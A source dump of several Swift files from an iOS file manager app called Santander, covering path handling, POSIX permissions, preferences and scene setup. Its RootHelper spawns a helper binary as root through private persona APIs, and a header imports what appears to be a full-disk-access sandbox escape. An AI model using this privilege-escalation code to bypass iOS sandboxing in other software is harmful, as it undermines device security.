        FileManager.default.displayName(atPath: url.path)
    }
    
    var pathExtension: String {
        return url.pathExtension
    }
    
    var containsAppUUIDSubpaths: Bool {
        return url.pathComponents.contains("Containers") || url.pathComponents.contains("containers")
    }
   
    func deletingLastPathComponent() -> Path {
        return Path(url: url.deletingLastPathComponent())
    }
    
    func deletingPathExtension() -> Path {
        return Path(url: url.deletingPathExtension())
    }
    
    func appendingPathExtension(_ ext: String) -> Path {
        return Path(url: url.appendingPathExtension(ext))
    }
    
    func appendingPathComponent(_ component: String) -> Path {
        return Path(url: url.appendingPathComponent(component))
    }
    
    func appendingPathComponent(_ component: String) -> URL {
        return url.appendingPathComponent(component)
    }
    
    var resolvedURL: URL {
        return (try? URL(resolvingAliasFileAt: url)) ?? url
    }
    
    var contents: [Path] {
        let urls = (try? FileManager.default.contentsOfDirectory(at: url, includingPropertiesForKeys: nil)) ?? []
        return urls.map { url in
            Path(url:url)
        }
    }
    
    var applicationItem: LSApplicationProxy? {
        if pathExtension == "app" {
            return ApplicationsManager.shared.application(forBundleURL: self.url)
        }
        
        return ApplicationsManager.shared.application(forContainerURL: self.url) ?? ApplicationsManager.shared.application(forDataContainerURL: self.url)
    }
    
    private func _getSize() -> Int? {
        if isDirectory {
            var _size: Int = 0
            for var content in contents {
                _size += content.size ?? 0
            }
            
            return _size
        }
        
        return try? url.resourceValues(forKeys: [.fileSizeKey]).fileSize
    }
    
    var isReadable: Bool {
        return FileManager.default.isReadableFile(atPath: url.path)
    }
    
    private func _displayImage() -> UIImage? {
        if isDirectory {
            return UIImage(systemName: "folder.fill")
        } else {
            // `UTType.data` is a generic type,
            // return the generic symbol for files for it.
            guard let type = self.contentType, type != .data else {
                return UIImage(systemName: "doc")
            }
            
            let imageName = Self.iconsDictionary.first { (key, _) in
                Self.isUType(type, ofAnotherType: key)
            }
            
            return UIImage(systemName: imageName?.value ?? "doc")
        }
    }
    
    init(url: URL) {
        self.url = url
        self.lastPathComponent = url.lastPathComponent
        
        let resourceValues = try? url.resourceValues(forKeys: Self.resourceKeys)
        self.isDirectory = resourceValues?.isDirectory ?? false
        self.contentType = resourceValues?.contentType
    }
    
    init(stringLiteral value: StringLiteralType) {
        self.init(url: URL(fileURLWithPath: value))
    }
}


================================================
FILE: Santander/Other/PathMetadata.swift
================================================
//
//  PathMetadata.swift
//  Santander
//
//  Created by Serena on 04/08/2022.
//

import Foundation
import UniformTypeIdentifiers

/// Describes the information about a given path
struct PathMetadata {
    
    /// The resource values to fetch
    static let resourceValueKeys: Set<URLResourceKey> = [
        .creationDateKey, .contentAccessDateKey, .addedToDirectoryDateKey, .contentModificationDateKey,
        .contentTypeKey
    ]
    
    /// The date the path was created
    let creationDate: Date?
    
    /// The date the path was added to it's parent directory
    let addedToDirectoryDate: Date?
    
    /// The date this path was last modified
    let lastModifiedDate: Date?
    
    /// The date this path was last accessed
    let lastAccessedDate: Date?
    
    /// The type of the path
    let contentType: UTType?
    
    /// The applied permissions of the path
    var permissions: PathPermissions?
    
    init(filePath path: Path, resourceValues: Set<URLResourceKey> = resourceValueKeys) {
        let resourceValues = try? path.url.resourceValues(forKeys: resourceValues)
        self.creationDate = resourceValues?.creationDate
        self.addedToDirectoryDate = resourceValues?.addedToDirectoryDate
        self.lastModifiedDate = resourceValues?.contentModificationDate
        self.lastAccessedDate = resourceValues?.contentAccessDate
        self.contentType = resourceValues?.contentType
        self.permissions = PathPermissions(fileURL: path.url)
    }
}


================================================
FILE: Santander/Other/PathTransitioning.swift
================================================
//
//  PathTransitioning.swift
//  Santander
//
//  Created by Serena on 12/10/2022
//


import Foundation

/// A Protocol describing an object which can move from it's current path to another
protocol PathTransitioning {
    func goToPath(path: Path)
}


================================================
FILE: Santander/Other/PathType.swift
================================================
//
//  PathType.swift
//  Santander
//
//  Created by Serena on 27/06/2022
//
	

import UIKit

extension UIViewController {
    /// Presents an alert to create a new path based on the path type
    func presentAlertAndCreate(type: PathType, forURL url: URL) {
        let alert = UIAlertController(title: "New \(type.description)", message: nil, preferredStyle: .alert)
        alert.addTextField { textField in
            textField.placeholder = "name"
        }
        
        let createAction = UIAlertAction(title: "Create", style: .default) { _ in
            guard let name = alert.textFields?.first?.text, !name.isEmpty else {
                return
            }
            
            let urlToCreate = url.appendingPathComponent(name)
            do {
                switch type {
                case .file:
                    try FSOperation.perform(.createFile(files: [urlToCreate]), rootHelperConf: RootConf.shared)
                case .directory:
                    try FSOperation.perform(.createDirectory(directories: [urlToCreate]), rootHelperConf: RootConf.shared)
                }
            } catch {
                self.errorAlert(error, title: "Unable to create \(name)")
            }
        }
        
        alert.addAction(.cancel())
        alert.addAction(createAction)
        self.present(alert, animated: true)
    }
}

enum PathType: CustomStringConvertible {
    case file, directory
    
    var description: String {
        switch self {
        case .file:
            return "file"
        case .directory:
            return "directory"
        }
    }
}


================================================
FILE: Santander/Other/PathsSortMethods.swift
================================================
//
//  PathsSortMethods.swift
//  Santander
//
//  Created by Serena on 24/06/2022
//
	

import Foundation

/// The ways to sort given subpaths
enum PathsSortMethods: String, CaseIterable, CustomStringConvertible {
    case alphabetically
    case size
    case type
    case dateCreated
    case dateModified
    case dateAccessed
    case dateAdded
    
    static var userPrefered: PathsSortMethods? {
        if let string = UserDefaults.standard.string(forKey: "SubPathsSortMode"), let sortMode = PathsSortMethods(rawValue: string) {
            return sortMode
        }
        
        return nil
    }
    
    var description: String {
        switch self {
        case .alphabetically:
            return "Alphabetical order"
        case .size:
            return "Size"
        case .type:
            return "Type"
        case .dateCreated:
            return "Date created"
        case .dateModified:
            return "Date modified"
        case .dateAccessed:
            return "Date accessed"
        case .dateAdded:
            return "Date Added"
        }
    }
    
    /// Sorts an array of URLs with the current sort method
    func sorting(URLs urls: [Path], sortOrder: SortOrder) -> [Path] {
        return urls.sorted { (first: Path, second: Path) in
            let ascending: Bool
            let firstURL = first.url
            let secondURL = second.url
            switch self {
            case .alphabetically:
                ascending = firstURL.lastPathComponent < secondURL.lastPathComponent
            case .size:
                ascending = firstURL.size > secondURL.size
            case .type:
                return firstURL.contentType == secondURL.contentType
            case .dateCreated:
                ascending = firstURL.creationDate > secondURL.creationDate
            case .dateModified:
                ascending =  firstURL.lastModifiedDate > secondURL.lastModifiedDate
            case .dateAccessed:
                ascending = firstURL.lastAccessedDate > secondURL.lastAccessedDate
            case .dateAdded:
                ascending = firstURL.addedToDirectoryDate > secondURL.addedToDirectoryDate
            }
            
            if sortOrder == .descending {
                return !ascending
            }
            
            return ascending
        }
    }
}

enum SortOrder: String, CaseIterable, CustomStringConvertible {
    case ascending, descending
    
    init(rawValue: String) {
        switch rawValue.lowercased() {
        case "ascending":
            self = .ascending
        case "descending":
            self = .descending
        default:
            self = .ascending // Default to ascending
        }
    }
    
    static var userPreferred: SortOrder {
        guard let rawValue = UserDefaults.standard.string(forKey: "SortOrder") else {
            return .ascending
        }
        
        return self.init(rawValue: rawValue)
    }
    
    var description: String {
        switch self {
        case .ascending:
            return "Ascending"
        case .descending:
            return "Descending"
        }
    }
    
    /// The SF Symbol name of the sort order
    var imageSymbolName: String {
        switch self {
        case .ascending:
            return "chevron.up"
        case .descending:
            return "chevron.down"
        }
    }
    
    func toggling() -> SortOrder {
        switch self {
        case .ascending:
            return .descending
        case .descending:
            return .ascending
        }
    }
}


================================================
FILE: Santander/Other/Permissions.swift
================================================
//
//  Permissions.swift
//  Santander
//
//  Created by Serena on 05/08/2022.
//

import Foundation

/// Represents the permissions of a path in POSIX Style
struct Permission: OptionSet, CustomStringConvertible, Equatable {
    public var rawValue: Int

    /// Grants the permission to execute a file
    static let execute = Permission(rawValue: 1)
    /// Grants the permission to modify a file
    static let write = Permission(rawValue: 2)
    /// Grants the permission to read a file
    static let read = Permission(rawValue: 4)

    init(rawValue: Int) {
        self.rawValue = rawValue
    }
    
    /// Initializes a new instant by checking the `st_mode` of the stat buffer
    /// and matching the constants given.
    /// see `ownerPermsConstants`, `groupPermsConstants`, and `otherUsersPermsConstants`
    init(buffer: stat, constants: [UInt16: Permission]) {
        self = constants.filter { (constant, _) in
            return (buffer.st_mode & constant) != 0
        }
        
        .map(\.value)
        .reducingToSingleOptionSet()
    }
    
    var binaryRepresentation: String {
        var b = String(rawValue, radix: 2)
        while b.count < 3 { b = "0" + b }
        return b
    }
    
    var description: String {
        return "Readable: \(contains(.read)), Writable: \(contains(.write)), Executable: \(contains(.execute))"
    }
    
    static func binaryRepresentation(of permissions: [Permission]) -> String {
        return permissions.map { $0.binaryRepresentation }.joined()
    }

    static func octalRepresentation(of permissions: [Permission]) -> Int {
        let binary = binaryRepresentation(of: permissions)
        return Int(binary, radix: 2)!
    }
    
    /// A dictionary representing the constants which could be checked
    /// for the owner permissions of a path
    static let ownerPermsConstants: [UInt16: Permission] = [
        S_IRUSR: .read,
        S_IWUSR: .write,
        S_IXUSR: .execute
    ]
    
    /// A dictionary representing the constants which could be checked
    /// for the group permissions of a path
    static let groupPermsConstants: [UInt16: Permission] = [
        S_IRGRP: .read,
        S_IWGRP: .write,
        S_IXGRP: .execute
    ]
    
    /// A dictionary representing the constants which could be checked
    /// for the permissions of other users of a path
    static let otherUsersPermsConstants: [UInt16: Permission] = [
        S_IROTH: .read,
        S_IWOTH: .write,
        S_IXOTH: .execute
    ]
    
}

/// Represents the permissions of a path,
/// including permissions for owner, group, and other users
struct PathPermissions: Equatable {
    let fileURL: URL
    
    var ownerPermissions: Permission
    var groupPermissions: Permission
    var otherUsersPermissions: Permission
    
    var ownerName: String?
    var groupOwnerName: String?
    
    init?(fileURL: URL) {
        var buffer = stat()
        guard lstat(fileURL.path, &buffer) == 0 else {
            return nil
        }
        
        self.ownerPermissions = Permission(buffer: buffer, constants: Permission.ownerPermsConstants)
        self.groupPermissions = Permission(buffer: buffer, constants: Permission.groupPermsConstants)
        self.otherUsersPermissions = Permission(buffer: buffer, constants: Permission.otherUsersPermsConstants)
        
        let attrs = try? FileManager.default.attributesOfItem(atPath: fileURL.path)
        self.ownerName = attrs?[.ownerAccountName] as? String
        self.groupOwnerName = attrs?[.groupOwnerAccountName] as? String
        
        self.fileURL = fileURL
    }
    
    init(fileURL: URL, ownerPermissions: Permission, groupPermissions: Permission, otherUsersPermissions: Permission, ownerName: String? = nil, groupOwnerName: String? = nil) {
        self.fileURL = fileURL
        self.ownerPermissions = ownerPermissions
        self.groupPermissions = groupPermissions
        self.otherUsersPermissions = otherUsersPermissions
        self.ownerName = ownerName
        self.groupOwnerName = groupOwnerName
    }
    
    func apply() throws {
        try fileURL.setPermissions(forOwner: ownerPermissions, group: groupPermissions, others: otherUsersPermissions)
    }
}


================================================
FILE: Santander/Other/Preferences/Storage.swift
================================================
//
//  Storage.swift
//  Santander
//
//  Created by Serena on 06/07/2022
//
	

import Foundation

@propertyWrapper
struct Storage<T> {
    let key: String
    let defaultValue: T

    init(key: String, defaultValue: T) {
        self.key = key
        self.defaultValue = defaultValue
    }

    var wrappedValue: T {
        get {
            return UserDefaults.standard.object(forKey: key) as? T ?? defaultValue
        }
        
        set {
            UserDefaults.standard.set(newValue, forKey: key)
        }
    }
}

@propertyWrapper
struct CodableStorage<T: Codable> {
    typealias ChangeHandler = ((T) -> ())
    
    let key: String
    let defaultValue: T
    var didChange: ChangeHandler?
    
    init(key: String, defaultValue: T, didChange: ChangeHandler?) {
        self.key = key
        self.defaultValue = defaultValue
        self.didChange = didChange
    }
    
    var wrappedValue: T {
        get {
            guard let data = UserDefaults.standard.data(forKey: key),
                  let decoded = try? JSONDecoder().decode(T.self, from: data) else {
                return defaultValue
            }
            
            return decoded
        }
        
        set {
            guard let encoded = try? JSONEncoder().encode(newValue) else {
                return
            }
            
            UserDefaults.standard.set(encoded, forKey: key)
            didChange?(newValue)
        }
    }
}


================================================
FILE: Santander/Other/Preferences/UserPreferences.swift
================================================
//
//  UserPreferences.swift
//  Santander
//
//  Created by Serena on 22/06/2022
//


import UIKit

/// Contains user preferences used in the Application
enum UserPreferences {
    @Storage(key: "UseLargeNavTitles", defaultValue: true)
    static var useLargeNavigationTitles: Bool
    
    /// Bookmarked paths saved by the user, stored as Data.
    /// see URL.bookmarkData
    @Storage(key: "BookmarksData", defaultValue: [])
    static private var _bookmarksData: [Data]
    
    /// Bookmarked paths by saved the user
    static var bookmarks: Set<Path> {
        get {
            var dataArr = self._bookmarksData
            let arr: [Path] = dataArr.compactMap { data in
                var isStale: Bool = false
                guard let url = try? URL(resolvingBookmarkData: data, bookmarkDataIsStale: &isStale) else { return nil }
                
                // replace if stale
                if isStale, let indx = dataArr.firstIndex(of: data), let urlData = try? url.bookmarkData() {
                    dataArr[indx] = urlData
                    self._bookmarksData = dataArr
                }
                
                return Path(url: url)
            }
            
            return Set(arr)
        }
        
        set {
            _bookmarksData = newValue.compactMap { url in
                try? url.url.bookmarkData()
            }
            
            if displayRecentlyBookmarked {
                // put last 5 items as the short cut items
                let bookmarks: [Path] = newValue.suffix(5)
                UIApplication.shared.setShortcutItems(intoURLs: bookmarks)
            }
        }
    }
    
    @Storage(key: "AlwaysShowSearchBar", defaultValue: true)
    static var alwaysShowSearchBar: Bool
    
    @Storage(key: "ShowInfoButton", defaultValue: false)
    static var showInfoButton: Bool
    
    @Storage(key: "LastOpenedPath", defaultValue: nil)
    static var lastOpenedPath: String?
    
    @Storage(key: "UseLastOpenedPathWhenLaunching", defaultValue: true)
    static var useLastOpenedPathWhenLaunching: Bool
    
    @Storage(key: "UserPreferredLaunchPath", defaultValue: nil)
    static var userPreferredLaunchPath: String?
    
    @Storage(key: "TextEditorWrapLines", defaultValue: true)
    static var wrapLines: Bool 
    
    @Storage(key: "TextEditorShowLineCount", defaultValue: true)
    static var showLineCount: Bool 
    
    @Storage(key: "TextEditorUseCharacterPairs", defaultValue: true)
    static var useCharacterPairs: Bool
    
    /// The amount of seconds in the go forward / go backward buttons in the `AudioPlayerViewController`
    @Storage(key: "AudioVCSkipDuration", defaultValue: 15)
    static var skipDuration: Int
    
    /// The speed of the audio in the `AudioPlayerViewController`
    @Storage(key: "AudioVCSpeed", defaultValue: 1)
    static var audioVCSpeed: Float
    
    /// Whether or not to display files whose name starts with a dot
    @Storage(key: "displayHiddenFiles", defaultValue: true)
    static var displayHiddenFiles: Bool
    
    /// The user interface style (dark, light, system) which the user choses to use
    @Storage(key: "userIntefaceStyle", defaultValue: UIUserInterfaceStyle.unspecified.rawValue)
    static var preferredInterfaceStyle: Int
    
    @Storage(key: "userPreferredTableViewStyle", defaultValue: UITableView.Style.insetGrouped.rawValue)
    static var preferredTableViewStyle: Int
    
    @Storage(key: "FontViewerFontSize", defaultValue: 30)
    static var fontViewerFontSize: CGFloat
    
    @Storage(key: "AssetCatalogControllerLayoutMode", defaultValue: AssetCatalogViewController.LayoutMode.verical.rawValue)
    static var assetCatalogControllerLayoutMode: Int
    
    @Storage(key: "RootHelperEnabled", defaultValue: false)
    static var rootHelperIsEnabled: Bool
    
    @Storage(key: "DisplayRecentlyUsedPathsInAppShortcuts", defaultValue: true)
    static var displayRecentlyBookmarked: Bool
    
    @CodableStorage(key: "PathGroups", defaultValue: [.default], didChange: { groups in
        NotificationCenter.default.post(name: .pathGroupsDidChange, object: groups)
    })
    static var pathGroups: [PathGroup]
    
    /// The path to launch upon opening the program,
    /// if this is nil, use `URL.root` instead.
    static var launchPath: String? {
        useLastOpenedPathWhenLaunching ? lastOpenedPath : userPreferredLaunchPath
    }
    
    @CodableStorage(key: "TextEditorTheme", defaultValue: CodableTextEditorTheme(), didChange: nil)
    static var textEditorTheme: CodableTextEditorTheme
    
    @CodableStorage(key: "AppTintColor", defaultValue: CodableColor(.systemBlue), didChange: nil)
    static var appTintColor: CodableColor
}

/// A Group containing paths
struct PathGroup: Codable, Hashable {
    let name: String
    var paths: [URL]
    
    static let `default` = PathGroup(name: "Default", paths: [.root])
    
    func hash(into hasher: inout Hasher) {
        hasher.combine(name)
        hasher.combine(paths)
    }
}


================================================
FILE: Santander/Other/RootHelper.swift
================================================
//
//  FSOperation.swift
//  Santander
//
//  Created by Serena on 15/09/2022
//


import Foundation
@_exported import FSOperations // export FSOperations to rest of Santander module
import NSTaskBridge

struct RootConf: RootHelperConfiguration {
    private init() {}
    
    static let shared = RootConf()
    
    func contents(of path: URL) throws -> [URL] {
        let spawn = try spawn(command: try rootHelperURL(), args: ["get-contents", path.path])
        return spawn.standardOutput.components(separatedBy: " ").map(URL.init(fileURLWithPath:))
    }
    
    private func rootHelperURL() throws -> URL {
        guard let rootHelperURL = Bundle.main.url(forAuxiliaryExecutable: "RootHelper"),
              FileManager.default.fileExists(atPath: rootHelperURL.path) else {
            throw Errors.rootHelperUnavailable
        }
        
        return rootHelperURL
    }
    
    func perform(_ operation: FSOperation) throws {
        let ret: Output
        if case let .writeData(_, data) = operation {
            ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation, standardInputData: data)
        } else {
            ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation)
        }
        
        guard ret.status == 0 else {
            throw Errors.otherError(description: "Root helper returned non-zero status, error: \(ret.standardError)")
        }
    }
    
    /*
     shamelessly copied from
     https://github.com/elihwyma/Pogo/blob/c25186f7a554407563174b32f3a34c21aedba22b/Pogo/CommandRunner.swift#L11
     Modified tho
     */
    
    func spawn(command: URL, args: [String], root: Bool = true, standardInputData: Data? = nil) throws -> Output {
        var stdoutPipe: [Int32] = [0, 0]
        var stderrPipe: [Int32] = [0, 0]
        //var stdinPipe:  [Int32] = [0, 0]
        
        let bufsiz = Int(BUFSIZ)
        
        pipe(&stdoutPipe)
        pipe(&stderrPipe)
        //pipe(&stdinPipe)
        
        guard fcntl(stdoutPipe[0], F_SETFL, O_NONBLOCK) != -1,
              fcntl(stderrPipe[0], F_SETFL, O_NONBLOCK) != -1/*,
              fcntl(stdinPipe[0],  F_SETFL, O_NONBLOCK) != -1*/ else {
            let currentErrnoString = String(cString: strerror(errno))
            throw Errors.otherError(description: "fnctl failed?! Error: \(currentErrnoString)")
        }
        
        /*
        if let standardInputData {
            standardInputData.withUnsafeBytes { rawBufferPtr in
                let base = rawBufferPtr.baseAddress!
                let writeAmount = write(stdinPipe[1], base, standardInputData.count)
                NSLog("RootHelper: writeAmount: \(writeAmount)")
            }
        }
         */
        
        let args: [String] = [command.lastPathComponent] + args
        let argv: [UnsafeMutablePointer<CChar>?] = args.map { $0.withCString(strdup) }
        defer { for case let arg? in argv { free(arg) } }
        
        var fileActions: posix_spawn_file_actions_t?
        if root {
            posix_spawn_file_actions_init(&fileActions)
            posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[0])
            posix_spawn_file_actions_addclose(&fileActions, stderrPipe[0])
            //posix_spawn_file_actions_addclose(&fileActions, stdinPipe[0])
            
            posix_spawn_file_actions_adddup2(&fileActions, stdoutPipe[1], STDOUT_FILENO)
            posix_spawn_file_actions_adddup2(&fileActions, stderrPipe[1], STDERR_FILENO)
            //posix_spawn_file_actions_adddup2(&fileActions, stdinPipe[0],  STDIN_FILENO)
            
            posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[1])
            posix_spawn_file_actions_addclose(&fileActions, stderrPipe[1])
            //posix_spawn_file_actions_addclose(&fileActions, stdinPipe[1])
        }
        
        var attr: posix_spawnattr_t?
        posix_spawnattr_init(&attr)
        posix_spawnattr_set_persona_np(&attr, 99, UInt32(POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE))
        posix_spawnattr_set_persona_uid_np(&attr, 0)
        posix_spawnattr_set_persona_gid_np(&attr, 0)
        
        let env: [String]
        if #available(iOS 15, *) {
            // Rootless
            env = [ "PATH=/usr/local/sbin:/var/jb/usr/local/sbin:/usr/local/bin:/var/jb/usr/local/bin:/usr/sbin:/var/jb/usr/sbin:/usr/bin:/var/jb/usr/bin:/sbin:/var/jb/sbin:/bin:/var/jb/bin:/usr/bin/X11:/var/jb/usr/bin/X11:/usr/games:/var/jb/usr/games"
            ]
        } else {
            env = ["PATH=/usr/bin:/usr/local/bin:/bin:/usr/sbin"]
        }
        
        let proenv = env.map { $0.withCString(strdup) }
        defer {
            for case let pro? in proenv {
                free(pro)
            }
        }
        
        var pid: pid_t = 0
        let spawnStatus = posix_spawn(&pid, command.path, &fileActions, &attr, argv + [nil], proenv + [nil])
        guard spawnStatus == 0 else {
            NSLog("spawnStatus error: \(String(cString: strerror(errno)))")
            throw Errors.failedToSpawnHelper
        }
        
        /*
        if let standardInputData {
            standardInputData.withUnsafeBytes { rawBufferPtr in
                let base = rawBufferPtr.baseAddress!
                let writeAmount = write(stdinPipe[1], base, standardInputData.count)
                NSLog("RootHelper: writeAmount: \(writeAmount)")
            }
        }
         */
        
        close(stdoutPipe[1])
        close(stderrPipe[1])
        //close(stdinPipe[1])
        
        var stdoutStr = ""
        var stderrStr = ""
        
        let mutex = DispatchSemaphore(value: 0)
        
        let readQueue = DispatchQueue(label: "com.serena.Santander.RootHelper",
                                      qos: .userInitiated,
                                      attributes: .concurrent,
                                      autoreleaseFrequency: .inherit,
                                      target: nil)
        
        let stdoutSource = DispatchSource.makeReadSource(fileDescriptor: stdoutPipe[0], queue: readQueue)
        let stderrSource = DispatchSource.makeReadSource(fileDescriptor: stderrPipe[0], queue: readQueue)
        
        stdoutSource.setCancelHandler {
            close(stdoutPipe[0])
            mutex.signal()
        }
        
        stderrSource.setCancelHandler {
            close(stderrPipe[0])
            mutex.signal()
        }
        
        stdoutSource.setEventHandler {
            let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)
            defer { buffer.deallocate() }
            
            let bytesRead = read(stdoutPipe[0], buffer, bufsiz)
            guard bytesRead > 0 else {
                if bytesRead == -1 && errno == EAGAIN {
                    return
                }
                
                stdoutSource.cancel()
                return
            }
            
            let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]
            array.withUnsafeBufferPointer { ptr in
                let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))
                stdoutStr += str
            }
        }
        
        stderrSource.setEventHandler {
            let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)
            defer { buffer.deallocate() }
            
            let bytesRead = read(stderrPipe[0], buffer, bufsiz)
            guard bytesRead > 0 else {
                if bytesRead == -1 && errno == EAGAIN {
                    return
                }
                
                stderrSource.cancel()
                return
            }
            
            let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]
            array.withUnsafeBufferPointer { ptr in
                let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))
                stderrStr += str
            }
        }
        
        stdoutSource.resume()
        stderrSource.resume()
        
        mutex.wait()
        mutex.wait()
        
        var status: Int32 = 0
        waitpid(pid, &status, 0)
        return Output(status: status, standardOutput: stdoutStr, standardError: stderrStr)
    }
    
    struct Output {
        let status: CInt
        let standardOutput: String
        let standardError: String
    }
    
    var useRootHelper: Bool {
        return UserPreferences.rootHelperIsEnabled
    }
    
    private enum Errors: Error, LocalizedError, CustomStringConvertible {
        case rootHelperUnavailable
        case unableToReadHelperOutput
        case failedToSpawnHelper
        case otherError(description: String)
        
        var description: String {
            switch self {
            case .rootHelperUnavailable:
                return "Root Helper unavailable? is your install messed up?"
            case .unableToReadHelperOutput:
                return "Unable to read root helper output"
            case .failedToSpawnHelper:
                return "Failed to spawn root helper"
            case .otherError(let description):
                return description
            }
        }
        
        var errorDescription: String? {
            description
        }
    }
}


================================================
FILE: Santander/Other/SantanderHeader.h
================================================
//
//  SantanderHeader.h
//  Santander
//
//  Created by Анохин Юрий on 24.05.2023.
//

#import "grant_full_disk_access.h"
#import "helpers.h"


================================================
FILE: Santander/SceneDelegate.swift
================================================
//
//  SceneDelegate.swift
//  Santander
//
//  Created by Serena on 21/06/2022
//


import UIKit

class SceneDelegate: UIResponder, UIWindowSceneDelegate {
    
    var window: UIWindow?
    var visibleSubPathsVc: PathListViewController? {
        (window?.rootViewController as? UINavigationController)?.visibleViewController as? PathListViewController
    }
    
    func performShortcut(_ shortcut: UIApplicationShortcutItem) {
        switch shortcut.type {
        case "com.serena.santander.bookmarks":
            let vc = UINavigationController(rootViewController: PathListViewController.bookmarks())
            window?.rootViewController?.present(vc, animated: true)
        default:
            // URL, go to it.
            if let pathToTopenTo = shortcut.userInfo?["ShortcutURLToOpenTo"] as? String {
                visibleSubPathsVc?.goToPath(path: Path(stringLiteral: pathToTopenTo))
            }
        }
    }
    
    func windowScene(_ windowScene: UIWindowScene,performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) {
        self.performShortcut(shortcutItem)
        completionHandler(true)
    }
    
    func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {
        // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
        // If using a storyboard, the `window` property will automatically be initialized and attached to the scene.
        // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).
        guard let windowScene = (scene as? UIWindowScene) else { return }
        
        let subPathsVC: PathTransitioning
        let window = UIWindow(windowScene: windowScene)
        if UIDevice.isiPad {
            let splitVC = UISplitViewController(style: .doubleColumn)
            let vc = PathSidebarListViewController()
            subPathsVC = vc
            splitVC.setViewController(vc, for: .primary)
            window.rootViewController = splitVC
        } else {
            let vc = PathListViewController(style: .userPreferred, path: .root)
            subPathsVC = vc
            window.rootViewController = UINavigationController(rootViewController: vc)
        }
        
        DispatchQueue.main.async {
            window.tintColor = UserPreferences.appTintColor.uiColor
            window.overrideUserInterfaceStyle = UIUserInterfaceStyle(rawValue: UserPreferences.preferredInterfaceStyle) ?? .unspecified
        }
        
        self.window = window
        
        // Needed on iPad so that the SplitViewController displays no matter orientation
        (window.rootViewController as? UISplitViewController)?.show(.primary)
        if let launchPath = UserPreferences.launchPath,
            FileManager.default.fileExists(atPath: launchPath) {
            subPathsVC.goToPath(path: Path(stringLiteral: launchPath))
        }
        
        window.makeKeyAndVisible()
        // handle incoming URLs
        self.scene(scene, openURLContexts: connectionOptions.urlContexts)
        // handle possible shortcut clicked
        if let shortcut = connectionOptions.shortcutItem {
            self.performShortcut(shortcut)
        }
    }
    
    func sceneDidDisconnect(_ scene: UIScene) {
        // Called as the scene is being released by the system.
        // This occurs shortly after the scene enters the background, or when its session is discarded.
        // Release any resources associated with this scene that can be re-created the next time the scene connects.
        // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).
    }
    
    func sceneDidBecomeActive(_ scene: UIScene) {
        // Called when the scene has moved from an inactive state to an active state.
        // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.
    }
    
    func sceneWillResignActive(_ scene: UIScene) {
        // Called when the scene will move from an active state to an inactive state.
        // This may occur due to temporary interruptions (ex. an incoming phone call).
    }
    
    func sceneWillEnterForeground(_ scene: UIScene) {
        // Called as the scene transitions from the background to the foreground.
        // Use this method to undo the changes made on entering the background.
    }
    
    func sceneDidEnterBackground(_ scene: UIScene) {
        // Called as the scene transitions from the foreground to the background.
        // Use this method to save data, release shared resources, and store enough scene-specific state information
        // to restore the scene back to its current state.
    }
    
    
    // Path is being imported
    func scene(_ scene: UIScene, openURLContexts URLContexts: Set<UIOpenURLContext>) {
        // map them to file URLs instead of `santander://` URLs
        let urls = URLContexts.map { ctx in
            URL(fileURLWithPath: ctx.url.path)
        }
        guard !urls.isEmpty else {
            return
        }
  
        let alertController = UIAlertController(title: "URL(s) being imported to app, would you like to copy it to another path?", message: nil, preferredStyle: .alert)
        let copyAction = UIAlertAction(title: "Copy Path", style: .default) { _ in
            self.window?.rootViewController?.present(UINavigationController(rootViewController: PathOperationViewController(paths: urls, operationType: .import)), animated: true)
        }
        
        alertController.addAction(copyAction)
        // if there's just one item, display option to go it's path
        if urls.count == 1 {
            let viewItemAction = UIAlertAction(title: "View item", style: .default) { _ in
                let item = urls[0]
                let itemParentPath = item.deletingLastPathComponent()
                let rootVC = self.window?.rootViewController as? UINavigationController
                let vcToPush = PathListViewController(path: Path(url: itemParentPath))
                rootVC?.pushViewController(vcToPush, animated: true) {
                    if let indx = vcToPush.contents.firstIndex(of: Path(url: item)) {
                        let indexPath = IndexPath(row: indx, section: 0)
                        vcToPush.tableView.scrollToRow(at: indexPath, at: .middle, animated: true)
                        vcToPush.tableView.selectRow(at: indexPath, animated: true, scrollPosition: .middle)
                    }
                }
            }
            
            alertController.addAction(viewItemAction)
        }
        
        alertController.addAction(.cancel())
        window?.rootViewController?.present(alertController, animated: true)
        
    }
}

fileprivate extension UINavigationController {
    func pushViewController(_ viewController: UIViewController, animated: Bool, completion: @escaping (() -> Void)) {
        pushViewController(viewController, animated: animated)
        
        guard animated, let coordinator = transitionCoordinator else {
            completion()
            return
        }
        
        coordinator.animate(alongsideTransition: nil) { _ in completion() }
    }
}


================================================
FILE: Santander/UI/AppInfoViewController.swift
================================================
//
//  AppInfoViewController.swift
//  Santander
//
//  Created by Serena on 15/08/2022.
//

import UIKit
import ApplicationsWrapper

/// A ViewController to display information about an app
class AppInfoViewController: UITableViewController {
    let app: LSApplicationProxy
    // used to go to a path if selected in the current view controller
    let subPathsSender: PathListViewController
    
    init(style: UITableView.Style, app: LSApplicationProxy, subPathsSender: PathListViewController) {
        self.app = app
        self.subPathsSender = subPathsSender
        super.init(style: style)
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        navigationItem.titleView = UIImageView(image: ApplicationsManager.shared.icon(forApplication: app))
    }
    
    override func numberOfSections(in tableView: UITableView) -> Int {
        return 5
    }
    
    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        switch section {
        case 0:
